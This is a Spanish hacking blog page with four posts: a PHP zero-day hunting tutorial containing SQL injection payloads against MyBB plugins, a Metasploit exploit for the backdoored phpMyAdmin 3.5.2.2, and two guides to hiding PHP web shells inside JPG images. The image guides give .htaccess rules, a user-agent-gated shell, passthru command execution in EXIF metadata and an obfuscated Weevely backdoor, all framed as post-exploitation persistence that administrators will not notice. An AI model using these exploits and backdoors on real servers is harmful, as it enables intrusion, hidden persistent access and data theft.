Banner 1

Mostrando entradas con la etiqueta php. Mostrar todas las entradas
Mostrando entradas con la etiqueta php. Mostrar todas las entradas

PHP Audit - El Arte de encontrar 0-days en Aplicaciones Webs

0 comentarios



Esta vez, vamos a ver algo sobre 0-days, gracias a un amigo con el seudónimo Join7 del foro ZentrixPlus donde ha realizado un tutorial en la cual explica detalladamente como encontrar 0-days en aplicaciones webs.
Antes de empezar con el tutorial, es necesario contar con conocimientos básicos de PHP y MySQL como también sobre algunas vulnerabilidades comunes y la forma en que funcionan. Resaltar que no es necesario ser un programador profesional, solo basta con ser capaz de leer y entender PHP.
Si aun no cuenta con un pequeño conocimiento sobre PHP y necesita aprender lo básico para que pueda entender este tutorial, puede ingresar a los siguientes tutoriales:


Tutorial PHP:
Tutorial MySQL:


1.- CREACIÓN DE UN ENTORNO DE AUDITORIA:
¿Por qué utilizar un entorno de Auditoria?
Simplemente se puede descargar el código que deseemos auditar, seguidamente se puede analizar el código utilizando un editor de texto en busca de vulnerabilidades.
Esto no es preferible, ya que hay una posibilidad muy alta de que falten cosas y seguramente tomará mucho más tiempo que mediante el uso de un entorno de Auditoria.
Web Server:
Queremos crear un servidor web donde podremos subir y probar las aplicaciones PHP, en estos casos se puede utilizar XAMPP o cualquier otro sistema que permita analizar estas aplicaciones localmente.
Es muy recomendable probar y analizar el posible código vulnerable en este servidor web (XAMPP) o en una red de confianza.
¿Que es lo que vamos a Auditar?
Ahora, cuando tenemos nuestro servidor creado tenemos que instalar cosas adicionales como WordPress, Joomla, MyBB o similares, dependiendo de lo realmente queremos auditar.
Si en estos casos vamos por un CMS independiente o simplemente una aplicación PHP que no, por supuesto, necesitamos algunos de los anteriores, pero es probable que en algún momento del tiempo pase a un blog de WordPress o un foro MyBB.
Seguidamente se mostraran los enlaces de descarga y alguna información sobre la forma de instalar algun CMS en particular:
MyBB
Guía de Instalación: http://docs.mybb.com/Installing.html
WordPress
Joomla
SMF:
2.- LO QUE DEBEMOS BUSCAR:
User input:
La mayoría de vulnerabilidades son posibles porque el programador del archivo php olvida la validacion de entrada. Esto ocurre mayormente con las vulnerabilidades de SQL Injection, Cross-Site Scripting, File Inclusion, Server Side Include, Code Injection, File Upload y muchos mas.
---------------------------------------------------------------------------------------------
$_GET
Un array asociativo de variables pasadas al script actual a través de los parámetros de URL.
$_POST
Un array asociativo de variables pasadas al script actual mediante el método HTTP POST
$_REQUEST
Una matriz asociativa que contiene por defecto el contenido de $ _GET, $ _POST y $ _COOKIE.
$_COOKIE
Un array asociativo de variables pasadas al script actual a través de cookies HTTP.
$_SERVER
$ _SERVER - $ HTTP_SERVER_VARS [obsoleta] - Información del servidor y entorno de ejecución.
$_FILES
Una matriz asociativa de artículos subidos al script actual a través del método HTTP POST.
---------------------------------------------------------------------------------------------
Posibles Funciones Vulnerables:
Sql Injection:
Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------
$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------



Existen un montón de posibilidades que las funciones de mysql sean vulnerables, para ello podemos echar un vistazo al siguiente link para obtener mas información sobre las funciones de MySql.


He aquí algunas funciones comunes que posiblemente sean vulnerables:
  • mysql_db_query - Selecciona una base de datos y ejecuta una consulta sobre el mismo.
  • mysql_fetch_array - Extrae la fila de resultado como una matriz asociativa, una matriz numérica o ambas.
  • mysql_fetch_field - Obtener información de columna del resultado y regresar como un objeto.
  • mysql_fetch_row - Devuelve una fila de resultado como una matriz enumerada.
  • mysql_num_rows - Devuelve el número de filas en el resultado.
  • mysql_result - Obtener datos de resultado.
File Inclusion:
Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------

$file = $_GET['file'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
---------------------------------------------------------------------------------------------

  • include()
  • require()

Si la aplicación no restringe cómo incluir archivos que puede leer archivos locales y posiblemente ejecutar archivos desde un servidor remoto (si allow_url_fopen está habilitado).
Upload:

---------------------------------------------------------------------------------------------

$target_path = "uploads/";
$target_path = $target_path . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";
} else {
echo "There was an error uploading the file, please try again!";
}
?>
---------------------------------------------------------------------------------------------

  • $_FILES
Si la aplicación no restringe como se cargan los archivos, en estos casos se puede cargar y ejecutar cualquier tipo de archivos.
Code Execution:
---------------------------------------------------------------------------------------------

$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>
---------------------------------------------------------------------------------------------

  • passthru()
  • system()
  • eval()
  • exec()


3.- HERRAMIENTAS ÚTILES, SCRIPTS Y TÉCNICAS:

Editores de Texto:

Sublime Text 2 es uno de los mejores Editores de Textos que existe, sus funcionalidades incluyen, pero no se limitan a destacar del sintaxis, la apertura de directorios como "Proyectos" (muy útil) y una función de búsqueda muy agradable.

Grep:

Grep es una utilidad de línea de comandos para la búsqueda de texto sin formato, para las líneas que coincidan con una expresión regular. Grep fue desarrollado originalmente para el sistema operativo Unix.

Grep es una herramienta muy útil cuando se trata de realizar auditorias hacia aplicaciones web. Supongamos que tenemos el siguiente código en app.php:

---------------------------------------------------------------------------------------------

$header = $_GET['header'];
if(isset($header))
{
include("headers/$header");
}
else
{
include("headers/standard.php");
}

$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
?>
---------------------------------------------------------------------------------------------

Podríamos usar una línea de comandos:
---------------------------------------------------------------------------------------------
$ grep _GET app.php
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
$header = $_GET['header'];
$id = $_GET['id'];
---------------------------------------------------------------------------------------------

Encontrar funciones mysql_*:
---------------------------------------------------------------------------------------------
grep include app.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
include("headers/$header");
include("headers/standard.php");
---------------------------------------------------------------------------------------------
Ahora digamos que tenemos 3 aplicaciones PHP en una carpeta y queremos buscar la función include en todas ellas, entonces podríamos hacer algo como esto:
---------------------------------------------------------------------------------------------
grep include *.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php: include("headers/$header");
app2.php: include("headers/standard.php");
app3.php: include("headers/$header");
app3.php: include("headers/standard.php");
app.php: include("headers/$header");
app.php: include("headers/standard.php");
---------------------------------------------------------------------------------------------
Si queremos dar salida al número de línea, puede utilizar el argumento -n de esta manera:
---------------------------------------------------------------------------------------------
grep include *.php -n
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php:5: include("headers/$header");
app2.php:9: include("headers/standard.php");
app3.php:5: include("headers/$header");
app3.php:9: include("headers/standard.php");
app.php:5: include("headers/$header");
app.php:9: include("headers/standard.php");
---------------------------------------------------------------------------------------------
Ahora queremos comprobar si las palabras 'SELECT' y 'FROM' se pueden encontrar:
---------------------------------------------------------------------------------------------
grep 'SELECT\|FROM' app.php -n
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------


Si queremos que coincida con una cadena e ignorar mayúsculas y minúsculas se utiliza el argumento -i:
---------------------------------------------------------------------------------------------
grep 'sEleCt\|FroM' app.php -n -i
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------
Algunas otras herramientas para auditar archivos php: http://www.hotscripts.com/blog/6-free-php-security-auditing-tools/
4.- AUDITORIA EN EL MUNDO REAL:
Vamos a echar un vistazo a un ejemplo del mundo real, un exploit público, y ver si podemos encontrar las vulnerabilidades:
MyBB DyMy User Agent SQL Injection:
Vamos a descargar la aplicación vulnerable y colocarlo en nuestra carpeta de plugins. Lo primero que debemos hacer es abrirlo en el Editor de texto:
Ahora vamos a empezar con un poco de búsqueda básica para posibles funciones vulnerables y cosas similares:
---------------------------------------------------------------------------------------------
grep "\$_GET" dymy_ua.php -i -n
grep "\$_GET" dymy_ua.php -i -n
grep "mysql_" dymy_ua.php -i -n
grep "include" dymy_ua.php -i -n
---------------------------------------------------------------------------------------------
Salida:
Nada util.
¿Por qué no encontrar nada? ¿Estamos haciendo algo mal? La respuesta está en el código fuente, vamos a echar un vistazo:
---------------------------------------------------------------------------------------------
function dymy_ua_install()
{
global $db;

$db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
}
---------------------------------------------------------------------------------------------
Si alguna vez has visto el codigo fuente de los plug-in de MyBB, echa un vistazo a los siguientes documentos para obtener una mejor comprensión de lo que está mal aquí:
Así que cuando estemos auditando Plugins MyBB tenemos que cambiar nuestros métodos de auditoría un poco.
Vamos a buscar $db, ya que se utiliza en Plugins MyBB para las interacciones de bases de datos. Volvamos a la terminal y probar algunas cosas nuevas.
---------------------------------------------------------------------------------------------
grep "\$db" dymy_ua.php -i -n 
---------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------
56: global $db;
58: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
63: global $db;
65: if($db->field_exists("useragent", "posts"))
75: global $db;
77: $db->delete_query("templategroups", "title='DyMy User Agent Templates'");
78: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts DROP `useragent`");
83: global $db;
85: $q = $db->simple_select("templategroups", "COUNT(*) as count", "title = 'DyMy User Agent'");
86: $c = $db->fetch_field($q, "count");
87: $db->free_result($q);
95: $db->insert_query("templategroups", $ins);
101: "template" => $db->escape_string(' {$os}'),
106: $db->insert_query("templates", $ins);
111: "template" => $db->escape_string(' {$browser}'),
116: $db->insert_query("templates", $ins);
125: global $db;
127: $db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'");
------------------------------------------------------------------------------------------------------------------
Como esto no es mucho lo que podemos manipular, vamos a ir a 127 líneas y ver qué pasa:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_deactivate()
{
global $db;

$db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'"); // Line 27

require_once MYBB_ROOT."/inc/adminfunctions_templates.php";
find_replace_templatesets('postbit',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}')."#",'',0);
find_replace_templatesets('postbit_classic',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}
')."#",'',0);
}

function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}

function dymy_ua_postbit(&$post)
{
global $templates;

if(isset($post['browser']) && isset($post['system']) && !empty($post['browser']) && !empty($post['system']) && empty($post['useragent']))
{
$os = str_ireplace("icon_", "", $post['system']);
$browser = str_ireplace("icon_", "", $post['browser']);
$browser = preg_replace("#^linux([a-z])#si", "$1", $browser);
}
...
------------------------------------------------------------------------------------------------------------------
En este nos damos cuenta de algo muy bonito, eche un vistazo a esto:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}
------------------------------------------------------------------------------------------------------------------
Vemos aquí que la aplicación inserta el user_agent sin ningún tipo de desinfección. Vamos a encender nuestro foro MyBB en nuestro localhost y tratar de analizar estos datos.
Activar el plugin en tu panel de administración y luego ir a un hilo y despues usar el Live HTTP Headers.
Vamos a ver este lado de nuestro mensaje:
Así que ahora, vamos a tratar algunas pruebas básicas para ver si la vulnerabilidad de inyección SQL en realidad existe:
Ah, maravilloso! Ahora vamos a jugar un rato con él hasta que tengamos una consulta agradable para la inyección.
Después de algunas pruebas vamos a salir con esta consulta:
------------------------------------------------------------------------------------------------------------------
' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)B)); #
------------------------------------------------------------------------------------------------------------------
5.- NUEVO 0-DAY - MyFlags MyBB plugins SQL Injection:
La vulnerabilidad de inyección SQL que existe en MyBB Plugin HM_My Country Flags:
Cuando este plugins se activa un usuario puede ir a su panel de control y ver esto:
Cada vez que el usuario vea su nacionalidad se mostrará junto a sus mensajes:
Abrimos Live HTTP Headers y pulsamos en el Pais, en las cabeceras HTTP Live copie la direccion URL (localhost/mybb/misc.php?action=hmflags&cnam=Belgium&pf=5') y pega esto en una nueva pestaña.
Ahora ponga un ' después el país:
Salida:
------------------------------------------------------------------------------------------------------------------
MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Belgium''' at line 1
Query:
SELECT * FROM mybb_users u LEFT JOIN mybb_usergroups g ON (u.usergroup=g.gid) LEFT JOIN mybb_userfields f ON (u.uid=f.ufid) WHERE fid5='Belgium'' 
------------------------------------------------------------------------------------------------------------------
Ajustar un poco y podrás averiguar que es unión basada con un montón de columnas:
Espero que haya disfrutado de este tutorial y pueda ayudarte a encontrar vulnerabilidades 0-days en aplicaciones webs.
CRÉDITOS:
Autor: Join7
Saludos.

Fuente: calebbucker.blogspot.com/2013/01/php-audit-el-arte-de-encontrar-0-days.html

PhpMyAdmin 3.5.2.2 Backdoor - CVE-2012-5159

0 comentarios

Hace poco se descubrió que las versión de descarga del archivo "phpMyAdmin-3.5.2.2-all-languages.zip" de SourceForge, había sido comprometido con unos archivos que hacen de backdoor, este archivo en cuestión  "server_sync.php" tiene una puerta trasera la cual permite ejecutar arbitrariamente y remotamente código PHP.

Y el equipo de metasploit ya realizo un modulo para explotar la puerta trasera en esta versión de PhpMyAdmin.


##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
      'Description'    => %q{
          This module exploits an arbitrary code execution backdoor 
        placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            },
          # Arbitrary big number. The payload gets sent as an HTTP
          # response body, so really it's unlimited
          'Space'       => 262144, # 256k
        },
      'DefaultOptions' =>
        {
          'WfsDelay' => 30
        },
      'DisclosureDate' => 'Sep 25 2012',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DefaultTarget' => 0))

    register_options([
      OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
    ], self.class)
  end

  def exploit

    uris = []

    tpath = datastore['PATH']
    if tpath[-1,1] == '/'
      tpath = tpath.chop
    end

    pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")

    res = send_request_raw( {
      'global'  => true,
      'uri'     => tpath + "/server_sync.php",
      'method'  => 'POST',
      'data'    => pdata,
      'headers' => {
        'Content-Type'   => 'application/x-www-form-urlencoded',
        'Content-Length' => pdata.length,
      }
    }, 1.0)

    handler
  end
end
Y aquí un video hecho por "wow zatas".
Se aconseja a los usuarios hacer la descarga  del archivo de la pagina oficial de PhpMyAdmin.
 
Fuente: hackplayers.

Backdoors web en imágenes: mejorando la técnica

0 comentarios
Al hilo de la entrada en la que se mostraba como ocultar código PHP en los metadatos de una imagen, en esta ocasión explicaremos cómo insertar nuestro backdoor también en una imagen pero esta vez añadiendo el código al final del fichero y ejecutando el shell sólo si se recibe un determinado “User-agent”.  

De esta manera se seguirá mostrando la imagen normalmente al resto de usuarios que naveguen por el servidor web comprometido y nosotros dispondremos de la "puerta trasera" para cuando la necesitemos.

Ejecutando código PHP desde una “inocente” imagen  

La forma de hacer que nuestra imagen ejecute código PHP es similar a la anterior, es decir, insertando un fichero .htaccess en el directorio donde se encuentra nuestra imagen con el código. 

Este es un fichero que se encarga de permitir una configuración sobre un directorio. Una configuración propia de apache, con unas limitaciones. Recomiendo visitar la web de apachepara comprender mejor su funcionamiento. 
Prevalece todo lo indicado en este fichero, sobre la configuración inicial. Es decir, pondremos como prohibido el acceso a: 127.0.0.1, en la configuración de apache. 
Deny from 127.0.0.1 
Y sin embargo, la carpeta: “Comparto”, permitimos vía .htaccess, el acceso a cualquier dirección: 
Allow from All
Debemos saber que deberá encontrarse en esa carpeta, y afectará a la carpeta donde se encuentre, en este caso Comparto, y sus subcarpetas. 

Imaginemos, que una determinada carpeta, por estar destinada a código fuente, queremos almacenar ficheros php, pero que no se pueda ejecutar el código, simplemente que permita ver íntegramente lo que contienen los ficheros. Podríamos crear una carpeta en nuestro host, llamada: Source. Y contener un archivo .htaccess con el siguiente código: 
AddType text/plain .php
¿Se entiende la idea? Cualquier fichero con una extensión php, será tratado como texto plano. Y podríamos ver el código. Si renombramos un .rar, vamos a  ver “basura”. 

Al igual que se explicaba en la anterior entrada de Hackplayers, se puede ejecutar código desde los metadatos/comentarios de una foto. Esto es debido a que se “fuerza” a que el servidor Apache interprete todas las imágenes como si de un PHP se tratase. Lógicamente, perderán la opción de visualización. 

Con la siguiente configuración en .htaccess: 
AddType application/x-httpd-php .jpg
Podemos crear un fichero con extensión jpg, con puro código php. Y lo veríamos así:
  

Para seguir haciendo pruebas, he creado un fichero JPG en el paint, con una bonita W. Un fondo horrible, añadiendo el código al final del fichero. En la imagen se puede apreciar, que trata de cargar todos los caracteres que componen la imagen, es decir, lo llena de basura, pero finalmente ejecuta mi código php.
 

De la misma manera poniendo el código al principio.
 

Con esto, queda demostrado que da igual dónde pongas el código, si se encuentra, tratará de ser ejecutado.

Lógicamente, hay zonas mejores y peores. Tras muchas pruebas, he concluido que la mejor zona para introducir código, es el final del fichero. El motivo, es que podemos hacer un script en PHP, que te deja elegir dependiendo de quien visita la página, bien una foto, o bien una shell.  

Mejorando la técnica para post-explotación del sistema

Lo que pensaba podría ser un simple comentario, ha crecido y crecido… Hasta ser una explicación un poco hardcore, de una post-explotación. Aprovecho para mandar un saludito a mi chica. ¿Cuál es mi cámara?

Una post-explotación de un sistema apache, como es el caso, implica que ya tenemos acceso y podemos modificar los ficheros locales y expuestos (públicos en apache). Vamos a imaginar un entorno “WordPress” ya vulnerado. La ramificación de ficheros sería así:
 

La carpeta seleccionada, supongo que sería algo así la que buscaría en un entorno “real”. Porque está relativamente oculta. No tenga nada en contra de wordpress. Este tipo de ataque, se puede modificar, para ser efectivo sobre cualquier servidor.

¿Qué buscamos con una post-explotación?

Ante todo, una vez comprometido el sistema y ya tenemos acceso, vamos a buscar, poder regresar. Seguramente el administrador pueda darse cuenta de nuestra intrusión. Ahora debemos, garantizar nuestro retorno. Y sobre todo, que solamente nosotros, tengamos acceso posteriormente. Esto último, es especialmente importante. (Aconsejo no dejar acceso sólo a tú dirección ip.)

¿Una imagen, puede comprometer un sistema apache?

¡Sí! Ya hemos visto como el compañero Vicente, nos explicaba cómo convertir una imagen, en un fichero ejecutable php. El problema es que pierden la funcionalidad como imagen, es decir, dejarían de cargar, o bien mostraría “basura”, es decir, una imagen como texto, con caracteres extraños. Ahora veremos cómo evitar esto.

¿Y si encontrásemos la forma de mostrar una imagen, o ejecutar un script php a voluntad?

De esta forma, si el administrador o un usuario cargan una imagen, podría verla perfectamente. Sin embargo, nosotros, a voluntad, podríamos ver una shell en php ¡Como si fuera sólo una imagen! ¡Y así lo mostraría el log! Es decir, tan solo parecería que se ha cargado una linda foto.
 

¡Al ataqueeer! El código que he introducido en .htaccess:
1 - RewriteEngine On 2 -AddType application/x-httpd-php .jpg 3 - RewriteCond %{REQUEST_URI} !wordpress.jpg 4 - RewriteRule ^(.+)\.jpg$ /wordpress.jpg?foto=$1 [L]
1* - Activa la reescritura.
2* - Fuerza que los ficheros .JPG, sean considerados ficheros PHP. (Como si un .php se tratara).
3* - Verifica que el fichero que se está llamando no sea wordpress.jpg. Esto es debido a que sin esta línea, se produciría un bucle.
4* - Fuerza que todos  los ficheros .JPG, sean reenviados a: localhost/wordpress.jpg?foto=Nombrefoto (Menos si el fichero es wordpress.jpg)

Realmente wordpress.jpg es un script php encargado de mostrar la imagen, o una shell bajo petición:
?php error_reporting(0); if ($_SERVER['HTTP_USER_AGENT'] == "Hackermalo")  {     #¿Shell?     #Maybe     #¿Include?     #include "xx.jpg"; #Funciona. Carga la shell     #echo $_GET["foto"].".jpg";     include $_GET["foto"].".jpg";     #Burradas e inventos varios ^^ }else{ #Código propiedad de Cluster #http://www.forosdelweb.com/f18/problema-con-header-content-type-image-jpeg-106272/     if ($_GET["foto"]==""){         Header("Content-Type: image/png");         $url_img="http://s.wp.com/wp-content/themes/h4/i/logo-v-rgb.png";     }else{         Header("Content-Type: image/jpg");         $url_img=$_GET["foto"].".jpg";     }     $img_link = fopen($url_img,"rb"); // rb modo binario para windows .. r para linux     while (!feof ($img_link)){ // se lee la imagen hasta fin de fichero (END OF FILE)         $img_des = fgets ($img_link, 4096); // se cogen de bloques de 4 kbytes         echo $img_des; // se mandan al navegador en este caso ..     }     fclose($img_link); // se cierra el link de fichero .. } ?>
Primero verifica el UserAgent enviado. Como medida de protección, primero sólo yo tendré acceso al panel, no será cacheado por los buscadores, y me permite ocultar mi estancia. Si mi user agent es: “Hackermalo”, carga el código php, en caso contrario, muestra la foto. Detecta el nombre del fichero pasado por la variable “foto”, si no hay nada, es decir, se ha llamado directamente a wordpress.jpg ¡Muestra una imagen! :D. En caso contrario, procesa el fichero y muestra la imagen solicitada. Gracias al código del htaccess, no varía la url, es decir, parece que está mostrando la imagen real.

Una imagen con el user-agent por defecto. El administrador, Google, cualquiera. Al final de la imagen, está nuestro script, con el que he trabajado todo este rato. Esto es lo que veríamos al llamar a la imagen:
 

Ahora, cambiaré mi user-agent a: “Hackermalo”, y simplemente tengo que presionar F5. El payload que he utilizado es cargar por include la misma imagen que estoy llamando. Por lo que se aprecia mucha basura de la propia foto, y al final del todo mi código.

Por último, sólo tendríamos que subir el .htaccess a la carpeta screenshots, y el fichero wordpress.jpg. En el propio código de wordpress.jpg, podríamos meter una Shell y hacer que sea llamada vía include desde otra “foto”, en fin, aquí el límite lo pone la imaginación…

Ocultando el backdoor PHP Weevely en los metadatos de un JPG

0 comentarios

En esta entrada veremos como usar los metadatos EXIF de una imagen JPEG para ocultar código PHP, por ejemplo para dejar un backdoor en la imagen de nuestro avatar en un servidor web comprometido.

Existen muchas herramientas para manipular los campos de metadatos. Nosotros usaremos la herramienta jhead y una pequeña imagen JPG para pruebas. Primero observamos los metadatos que ya tiene la imagen:
C:\>jhead skull.jpg
File name    : skull.jpg
File size    : 13504 bytes
File date    : 2012:04:17 00:33:40
Resolution   : 100 x 105
Comment      : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 100
Ahora procedemos a añadir nuestro código:
C:\>jhead -ce skull.jpg

Modified: skull.jpg
A continuación, comprobamos el código insertado:
C:\>jhead skull.jpg
File name    : skull.jpg
File size    : 13495 bytes
File date    : 2012:04:17 00:33:40
Resolution   : 100 x 105
Comment      : php passthru($_POST['cmd']); __halt_compiler();
Usando la función passthru podremos ejecutar un comando en la máquina destino a través de una petición HTTP, preferiblemente POST a GET porque esta última es más fácil de detectar si se visualiza el log de acceso (httpd access). No necesitamos cerrar la sección PHP ya que el comando halt_compiler detendrá el compilador al parsear los datos binarios de la imagen.

Una vez que hemos "ocultado" el código en la imagen, tendremos que forzar que el servidor web maneje un fichero jpg como si fuera un fichero php. Para ello añadiremos la directiva AddType en el fichero .htaccess del directorio de las imágenes. En nuestro ejemplo usaremos un servidor XAMPP de pruebas:
C:\>echo AddType application/x-httpd-php .jpg >> d:\xampplite\htdocs\xampp\imagenes\.htaccess
Ya tenemos todo preparado para empezar a probar. Lo primero que haremos será lanzar un comando con curl:
C:\>curl -d cmd=whoami http://localhost/xampp/imagenes/skull.jpg
Ï Ó ?JFIF ??  ? ?   ¦ 3vmotos
Como veis, el comando se ha ejecutado con éxito en el servidor.

Ahora que hemos comprobado que esta técnica funciona vamos a probar con una shell en PHP. En este caso, me llamó la atención Weevely, que es un backdoor muy interesante ya que no incluye directamente el código embebido como otras shells tradicionales (c99, stunshell, etc.). Weevely es un programa en Python que nos generará un "servidor" en PHP para troyanizar el servidor web y que nos permitirá obtener un shell directo (no sólo inverso) a través de peticiones HTTP.

Si quieres utilizarlo en Windows tendrás que realizar algunas modificaciones:
core\helper.py: línea 25                f = f[8:-3].replace('\\','.')
Instalar Beautiful Soup 3.2.1 (February 16, 2012) http://www.crummy.com/software/BeautifulSoup/download/3.x/BeautifulSoup-3.2.1.tar.gz
Una vez que lo tenemos, creamos nuestro backdoor con el siguiente comando:
D:\weevely>d:\Python27\python.exe weevely.py generate password123 backdoor.php

Weevely 0.6 - Generate and manage stealth PHP backdoors
Emilio Pinna 2011-2012

+ Backdoor file 'backdoor.php' created with password 'password123'.
Vemos el contenido de nuestra shell:
php  $el2="utwaV9zZXQoJ2Vycm9yX2xvZycsICcvZtwGV2L251twbGwnKTskaz0ntwc3twN3b3JktwMTtwIzJztlY2hvICctw8Jy4katwy4n"; $el4="YXkoJycsJysnKSwgam9pbtwitwhhcnJheV9zbGljZSgkYSwtwkYygkYStwktMykpKSkpO2VjaG8gtwJzwtwvJy4katwy4twnPic7fQ=="; $uq = "zbazszez6z4z_dezczode"; $lk = "str_replace"; $el3="Pic7ZXZhbChiYtwXNlNjRfZGVjbtw2RlKtwHByZWtwdfcmVwbGFjZShhcnJheSgntwL1teXtwHc9XHNdLtwycsJy9ccy8nKtwSwgYXtwJy"; $el1="JtwGM9J2NvdW50JzstwkYTtw0ktwX0NPT0tJRTtwtpZihyZXtwNldtwCgtwkYSk9PSdwYStwcgJiYtwgJGMoJGEpPjMptwe2twl"; $uq = $lk("z", "", $uq); eval($uq($lk("tw", "", $el1.$el2.$el3.$el4)));  ?-->
Y lo subimos a un multi-motor de antivirus como NoVirusThanks para comprobar si es FuD.

Ahora tenemos que añadir la shell a los metadatos de la imagen como antes. El resultado de la info exif es el siguiente:
D:\xampplite\htdocs\xampp\imagenes>jhead  skull.jpg
File name    : skull.jpg
File size    : 14038 bytes
File date    : 2012:04:17 00:33:40
Resolution   : 100 x 105
Comment      : php $el2="utwaV9zZXQoJ2Vycm9yX2xvZycsICcvZtwGV2L251twbGwnKTskaz 0ntwc3twN3b3JktwMTtwIzJztlY2hvICctw8Jy4katwy4n"; $el4="YXkoJycsJysnKSwgam9pbtwit whhcnJheV9zbGljZSgkYSwtwkYygkYStwktMykpKSkpO2VjaG8gtwJzwtwvJy4katwy4twnPic7fQ==" ; $uq = "zbazszez6z4z_dezczode"; $lk = "str_replace"; $el3="Pic7ZXZhbChiYtwXNlNj RfZGVjbtw2RlKtwHByZWtwdfcmVwbGFjZShhcnJheSgntwL1teXtwHc9XHNdLtwycsJy9ccy8nKtwSwg YXtwJy"; $el1="JtwGM9J2NvdW50JzstwkYTtw0ktwX0NPT0tJRTtwtpZihyZXtwNldtwCgtwkYSk9P SdwYStwcgJiYtwgJGMoJGEpPjMptwe2twl"; $uq = $lk("z", "", $uq); eval($uq($lk("tw",  "", $el1.$el2.$el3.$el4))); __halt_compiler();   
Finalmente, para establecer una sesión con el servidor destino, llamamos a la URL utilizando la password definida en la creación de nuestro servidor PHP:
D:\weevely-->d:\Python27\python.exe weevely.py http://localhost/xampp/imagenes/sku
ll.jpg password123

Weevely 0.6 - Generate and manage stealth PHP backdoors
Emilio Pinna 2011-2012

[+] Starting terminal. Shell probe may take a while...

[+] List modules with  and show help with :show [module name]

Y todo con el código oculto en la inocente imagen de mi avatar ;)

Fuente: http://www.hackplayers.com/2012/04/ocultando-el-backdoor-php-weevely-en.html
Powered by Bad Robot
Helped by Blackubay